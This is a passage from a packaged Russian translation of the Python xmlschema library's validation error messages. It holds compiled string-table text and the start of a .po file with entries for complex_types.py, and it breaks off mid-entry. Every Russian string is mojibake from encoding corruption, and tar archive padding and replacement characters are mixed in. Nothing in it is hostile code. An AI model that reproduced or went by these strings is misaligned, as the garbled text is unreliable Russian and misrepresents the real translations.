Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ² {!r}�Đ½ĐµĐ¸Đ·Đ²ĐµÑÑ‚Đ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r}�Đ½ĐµĐ¸Đ·Đ²ĐµÑÑ‚Đ½Ñ‹Đ¹ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ %r�Đ½ĐµĐ¸Đ·Đ²ĐµÑÑ‚Đ½Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ Đ¸Đ´ĐµĐ½Ñ‚Đ¸Ñ„Đ¸ĐºĐ°Ñ†Đ¸Đ¸ {!r}�Đ½ĐµĐ¸Đ·Đ²ĐµÑÑ‚Đ½Ñ‹Đ¹ substitutionGroup %r�Đ½ĐµĐ¸Đ·Đ²ĐµÑÑ‚Đ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿ {!r}�Đ½ĐµÑĐ¾Đ¿Đ¾ÑÑ‚Đ°Đ²Đ»ĐµĐ½Đ½Đ¾Đµ QName Đ² Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đµ 'notQName': %s�Đ½ĐµÑĐ¾Đ¿Đ¾ÑÑ‚Đ°Đ²Đ»ĐµĐ½Đ½Ñ‹Đ¹ Đ¿Ñ€ĐµÑ„Đ¸ĐºÑ %r Đ² QName�иÑĐ¿Đ¾Đ»ÑŒĐ·Đ¾Đ²Đ°Đ½Đ¸Đµ %r Đ·Đ°Đ±Đ»Đ¾ĐºĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ¾�иÑĐ¿Đ¾Đ»ÑŒĐ·Đ¾Đ²Đ°Đ½Đ¸Đµ {0!r} Ñ Ñ‚Đ¸Đ¿Đ¾Đ¼ {1} Đ·Đ°Đ±Đ»Đ¾ĐºĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ¾ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ¼ Đ·Đ°Đ³Đ¾Đ»Đ¾Đ²ĐºĐ°�иÑĐ¿Đ¾Đ»ÑŒĐ·Đ¾Đ²Đ°Đ½Đ¸Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° %r Đ·Đ°Đ¿Ñ€ĐµÑ‰ĐµĐ½Đ¾�Ñ€ĐµĐ¶Đ¸Đ¼ Đ¿Ñ€Đ¾Đ²ĐµÑ€ĐºĐ¸ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ 'strict', 'lax' или 'skip': %r�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Ñ‚ Đ»Đ¸ÑˆĐ½Đ¸Đµ Đ¿Ñ€Đ¾Đ±ĐµĐ»Ñ‹�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Ñ‚ Ñ‚Đ°Đ±ÑƒĐ»ÑÑ†Đ¸Ñ Đ¸Đ»Đ¸ Đ¿ĐµÑ€ĐµĐ½Đ¾ÑÑ‹ ÑÑ‚Ñ€Đ¾Đº�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đµ ÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²ÑƒĐµÑ‚ Đ½Đ¸ Đ¾Đ´Đ½Đ¾Đ¼Ñƒ ÑˆĐ°Đ±Đ»Đ¾Đ½Ñƒ {!r}�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ±Đ¾Đ»ÑŒÑˆĐµ или Ñ€Đ°Đ²Đ½Đ¾ {!r}�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ±Đ¾Đ»ÑŒÑˆĐµ {!r}�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ или Ñ€Đ°Đ²Đ½Đ¾ {!r}�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ {!r}�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½ĐµĐ²ĐµÑ€Đ½Đ¾ Đ´Đ»Ñ Ñ‚Đ¸Đ¿Đ° xs:decimal�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ ÑĐºĐ·ĐµĐ¼Đ¿Đ»ÑÑ€Đ¾Đ¼ {!r}�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đµ xs:QName�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½ĐµĐ²ĐµÑ€Đ½Đ¾ Ñ Ñ‚ĐµÑÑ‚Đ¾Đ²Ñ‹Đ¼ Đ¿ÑƒÑ‚ĐµĐ¼ {!r}�Đ´Đ»Đ¸Đ½Đ° Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Ñ Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ±Đ¾Đ»ÑŒÑˆĐµ Ñ‡ĐµĐ¼ {!r}�Đ´Đ»Đ¸Đ½Đ° Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Ñ Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ Ñ‡ĐµĐ¼ {!r}�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¾Ñ‚Ñ€Đ¸Ñ†Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¾Ñ‚Ñ€Đ¸Ñ†Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¿Đ¾Đ»Đ¾Đ¶Đ¸Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¾Đ´Đ½Đ¸Đ¼ из {!r}�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¿Đ¾Đ»Đ¾Đ¶Đ¸Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ {:s}�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° 'mixed' Đ² complexType и complexContent Đ´Đ¾Đ»Đ¶Đ½Ñ‹ Đ±Ñ‹Ñ‚ÑŒ Đ¾Đ´Đ¸Đ½Đ°ĐºĐ¾Đ²Ñ‹Đ¼Đ¸�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ {!r} Đ´Đ¾Đ»Đ¶Đ½Đ¾ ÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²Đ¾Đ²Đ°Ñ‚ÑŒ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Ñ Đ½Đ¾Ñ‚Đ°Ñ†Đ¸Đ¸�ĐºĐ¾Đ³Đ´Đ° ĐºĐ¾Đ¼Đ¿Đ»ĐµĐºÑĐ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Ñ Đ¿Ñ€Đ¾ÑÑ‚Ñ‹Đ¼ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ¾Đ¼ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡Đ¸Đ²Đ°ĐµÑ‚ ÑĐ»Đ¾Đ¶Đ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿ ÑĐ¾ ÑĐ¼ĐµÑˆĐ°Đ½Đ½Ñ‹Đ¼ и Ñ Đ¾Ñ‡Đ¸Ñ‰Đ°ĐµĐ¼Ñ‹Đ¼ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Ñ‹Đ¼, Ñ‚Đ¾Đ³Đ´Đ° Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ Đ´Đ¾Ñ‡ĐµÑ€Đ½ĐµĐ³Đ¾ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ° Đ¿Ñ€Đ¾ÑÑ‚Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ°�Đ¿Ñ€Đ¸ Ñ€Đ°ÑÑˆĐ¸Ñ€ĐµĐ½Đ¸Đ¸ Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹ xs:all minOccurs Đ´Đ¾Đ»Đ¶Đ½Đ¾ ÑĐ¾Đ²Đ¿Đ°Đ´Đ°Ñ‚ÑŒ�simpleContent Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡Đ¸Đ²Đ°Ñ‚ÑŒ Ñ‚Đ¸Đ¿ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ° Ñ‚Đ¾Đ»ÑŒĐºĐ¾ Đ´Đ»Ñ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ²�Đ½ĐµĐ²ĐµÑ€Đ½Ñ‹Đ¹ Ñ„Đ¾Ñ€Đ¼Đ°Ñ‚ QName Đ² Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đµ 'notQName': %s�Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Ñ‹Đ¹ Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ %r, Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ Đ°Ñ‚Đ¾Đ¼Đ°Ñ€Đ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿�Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Ñ‹Đ¹ Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ %r: Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ simpleType или complexType Ñ Đ¿Ñ€Đ¾ÑÑ‚Ñ‹Đ¼ или ÑĐ¼ĐµÑˆĐ°Đ½Đ½Ñ‹Đ¼ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Ñ‹Đ¼�Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ° {!r}�Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ Ñ ÑÑÑ‹Đ»ĐºĐ¾Đ¹ Đ½Đ° ÑебÑ�Đ½ĐµĐ²ĐµÑ€Đ½Ñ‹Đ¹ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ {0!r} Đ´Đ»Ñ ĐºĐ°Ñ€Ñ‚Ñ‹ {1!r}�Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ¾ Đ¸Đ¼ĐµĐ½ ({0!r} Đ²Đ¼ĐµÑÑ‚Đ¾ {1!r}) Đ´Đ»Ñ Ñ€ĐµÑурÑа XSD {2}�Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ без ÑÑÑ‹Đ»ĐºĐ¸ Đ½Đ° ÑебÑ�Đ½ĐµĐ²ĐµÑ€Đ½Ñ‹Đ¹ Ñ‚ĐµĐ³ {!r} Đ´Đ»Ñ Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ³Đ¾ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Ñ XSD�Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ %r Đ´Đ»Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° "Ñ€ĐµĐ¶Đ¸Đ¼"�Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ %r Đ´Đ»Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° 'processContents'�Đ½ĐµĐ²ĐµÑ€Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ %r Đ´Đ»Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° %r�Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ %r Đ´Đ»Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° 'white_space'�Đ½ĐµĐ²ĐµÑ€Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ %r Đ² Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đµ 'namespace'�Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ %r Đ² Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đµ 'notNamespace'�Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° 'notQName'�Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ {0!r} Đ´Đ»Ñ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° 'xpathDefaultNamespace', Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ (anyURI | {1}).�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Ñ‹ ĐºĐ»ÑÑ‡Đ° xs:ID Đ½Đµ Đ¼Đ¾Đ³ÑƒÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Ñ Đ¿Đ¾ ÑƒĐ¼Đ¾Đ»Ñ‡Đ°Đ½Đ¸Ñ�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Ñ‹ ĐºĐ»ÑÑ‡Đ° xs:ID Đ½Đµ Đ¼Đ¾Đ³ÑƒÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ Ñ„Đ¸ĐºÑĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ�xs:ID или Ñ‚Đ¸Đ¿ Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Ñ‹Đ¹ Đ¾Ñ‚ xs:ID Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Ñ Đ¿Đ¾ ÑƒĐ¼Đ¾Đ»Ñ‡Đ°Đ½Đ¸Ñ�xs:ID или Ñ‚Đ¸Đ¿ Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Ñ‹Đ¹ Đ¾Ñ‚ xs:ID Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ 'fixed' Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Ñ�xs:all Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Ñ€Đ°ÑÑˆĐ¸Ñ€Đ¸Ñ‚ÑŒ Đ½Đµ Đ¿ÑƒÑÑ‚Ñ‹Đ¼ xs:%s�xs:sequence Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Ñ€Đ°ÑÑˆĐ¸Ñ€Ñть xs:all�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ xsi:nil Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Đ±ÑƒĐ»ĐµĐ²Ñ‹Đ¼�xsi:nil='true', Đ½Đ¾ у ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ° еÑть Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ�xsi:nil='true', Đ½Đ¾ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ Đ½Đµ Đ¿ÑƒÑÑ‚Đ¾Đ¹�{!r} Đ½Đµ ÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²ÑƒĐµÑ‚ Đ½Đ¸ Đ¾Đ´Đ½Đ¾Đ¼Ñƒ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ½Đ¾Đ¼Ñƒ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Ñƒ Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹ Đ¼Đ¾Đ´ĐµĐ»ĐµĐ¹�Đ¾Đ¶Đ¸Đ´Đ°ĐµÑ‚ÑÑ, Ñ‡Ñ‚Đ¾ {!r} Đ±ÑƒĐ´ĐµÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ½Ñ‹Đ¹ ĐºĐ¾Đ¼Đ¿Đ¾Đ½ĐµĐ½Ñ‚�{!r} Đ½Đµ Đ±ÑƒĐ»ĐµĐ²Đ¾ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ�{!r} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Ñ‡Đ°ÑÑ‚Đ¸Ñ†ĐµĐ¹ Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹ Đ¼Đ¾Đ´ĐµĐ»ĐµĐ¹�{!r} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Ñ‹Đ¼ ÑƒÑ€Đ¾Đ²Đ½ĐµĐ¼ Đ²ĐµĐ´ĐµĐ½Đ¸Ñ Đ¶ÑƒÑ€Đ½Đ°Đ»Đ°�{!r} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ´Đ¾Đ¿ÑƒÑÑ‚Đ¸Đ¼Ñ‹Đ¼ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸ĐµĐ¼ Đ´Đ»Ñ xs:QName�{!r} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ¼ ÑÑ…ĐµĐ¼Ñ‹�{0!r} и {1!r} Đ¿ĐµÑ€ĐµĐºÑ€Ñ‹Đ²Đ°ÑÑ‚ÑÑ Đ¸ Đ½Đ°Ñ…Đ¾Đ´ÑÑ‚ÑÑ Đ² Đ¾Đ´Đ½Đ¾Đ¹ Đ³Ñ€ÑƒĐ¿Đ¿Đµ {2!r}�{0!r} Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ·Đ°Đ¼ĐµĐ½Đ¸Ñ‚ÑŒ {1!r}�{0!r} Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Đ¾ Đ´Đ»Ñ {1!r}�{0!r} Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đ°Đ±Đ¾Ñ€Đ° Ñ„Đ¸ĐºÑĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ¾ {1!r}�{0!r} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸ĐµĐ¼ Đ±Đ°Đ·Đ¾Đ²Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ° {1!r}�{0!r} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Ñ€Đ°ÑÑˆĐ¸Ñ€ĐµĐ½Đ¸ĐµĐ¼ Đ±Đ°Đ·Đ¾Đ²Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ° {1!r}�{0!r} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ ÑĐºĐ·ĐµĐ¼Đ¿Đ»ÑÑ€Đ¾Đ¼ {1!r}�{0!r}, ÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²ÑƒÑÑ‰ĐµĐµ {1!r}, Đ½Đµ ÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²ÑƒĐµÑ‚ Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ¼Ñƒ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Ñ {2!r}�Ñ‚Đ¸Đ¿ {0!r} Đ½Đµ ÑĐ¾Đ²Đ¿Đ°Đ´Đ°ĐµÑ‚ или Đ½Đ°ÑĐ»ĐµĐ´ÑƒĐµÑ‚ Đ³Đ¾Đ»Đ¾Đ²Đ½Đ¾Đ¹ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ Ñ‚Đ¸Đ¿Đ° {1!r}�{0} Đ¸Đ¼ĐµĐµÑ‚ Đ½ĐµĐ¸Đ·Đ²ĐµÑÑ‚Đ½Ñ‹Đ¹ Đ¿Ñ€ĐµÑ„Đ¸ĐºÑ {1!r}��������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/ru/LC_MESSAGES/xmlschema.po����������������������������������������0000664�0000000�0000000�00000233211�15020401055�0023443�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR <EMAIL@ADDRESS>, YEAR. # msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2022-05-12 17:25+0200\n" "PO-Revision-Date: 2022-06-11 10:17+0300\n" "Last-Translator: Sergey Zelenov <serwizz@gmail.com>\n" "Language-Team: \n" "Language: ru\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && " "n%10<=4 && (n%100<12 || n%100>14) ? 1 : 2);\n" "X-Generator: Poedit 3.0.1\n" "X-Poedit-Bookmarks: -1,133,-1,-1,-1,-1,-1,-1,-1,-1\n" #: xmlschema/validators/complex_types.py:134 msgid "missing attribute 'name' in a global complexType" msgstr "Đ² complexType Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name'" #: xmlschema/validators/complex_types.py:139 msgid "attribute 'name' not allowed in a local complexType" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name' Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½ Đ² Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ¼ complexType" #: xmlschema/validators/complex_types.py:162 msgid "'mixed' attribute not allowed with simpleContent" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'mixed' Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½ Đ² simpleContent" #: xmlschema/validators/complex_types.py:177 #, python-format msgid "unexpected tag %r after simpleContent declaration:" msgstr "Đ½ĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ Ñ‚ĐµĐ³ %r Đ¿Đ¾Ñле Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Ñ simpleContent:" #: xmlschema/validators/complex_types.py:188 msgid "" "value of 'mixed' attribute in complexType and complexContent must be the same" msgstr "" "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ° 'mixed' Đ² complexType и complexContent Đ´Đ¾Đ»Đ¶Đ½Ñ‹ Đ±Ñ‹Ñ‚ÑŒ " "Đ¾Đ´Đ¸Đ½Đ°ĐºĐ¾Đ²Ñ‹Đ¼Đ¸" #: xmlschema/validators/complex_types.py:208 #, python-format msgid "unexpected tag %r after complexContent declaration" msgstr "Đ½ĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ Ñ‚ĐµĐ³ %r Đ¿Đ¾Ñле Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Ñ complexContent" #: xmlschema/validators/complex_types.py:232 #, python-format msgid "unexpected tag %r for complexType content" msgstr "Đ½ĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ Ñ‚ĐµĐ³ %r Đ² ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đµ complexContent" #: xmlschema/validators/complex_types.py:240 #: xmlschema/validators/simple_types.py:1227 msgid "wrong definition with self-reference" msgstr "Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ Ñ ÑÑÑ‹Đ»ĐºĐ¾Đ¹ Đ½Đ° ÑебÑ" #: xmlschema/validators/complex_types.py:243 #: xmlschema/validators/simple_types.py:1234 msgid "wrong redefinition without self-reference" msgstr "Đ½ĐµĐ¿Ñ€Đ°Đ²Đ¸Đ»ÑŒĐ½Đ¾Đµ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ без ÑÑÑ‹Đ»ĐºĐ¸ Đ½Đ° ÑебÑ" #: xmlschema/validators/complex_types.py:254 msgid "restriction or extension tag expected" msgstr "Đ¾Đ¶Đ¸Đ´Đ°ĐµÑ‚ÑÑ Ñ‚ĐµĐ³ 'restriction' или 'extension'" #: xmlschema/validators/complex_types.py:261 msgid "{!r} is expected to have a redefined/overridden component" msgstr "Đ¾Đ¶Đ¸Đ´Đ°ĐµÑ‚ÑÑ, Ñ‡Ñ‚Đ¾ {!r} Đ±ÑƒĐ´ĐµÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ Đ¿ĐµÑ€ĐµĐ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ½Ñ‹Đ¹ ĐºĐ¾Đ¼Đ¿Đ¾Đ½ĐµĐ½Ñ‚" #: xmlschema/validators/complex_types.py:266 msgid "{0!r} derivation not allowed for {1!r}" msgstr "{0!r} Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½Đ¾ Đ´Đ»Ñ {1!r}" #: xmlschema/validators/complex_types.py:276 msgid "'base' attribute required" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'base' Đ¾Đ±ÑĐ·Đ°Ñ‚ĐµĐ»ĐµĐ½" #: xmlschema/validators/complex_types.py:285 #, python-format msgid "missing base type %r" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ %r" #: 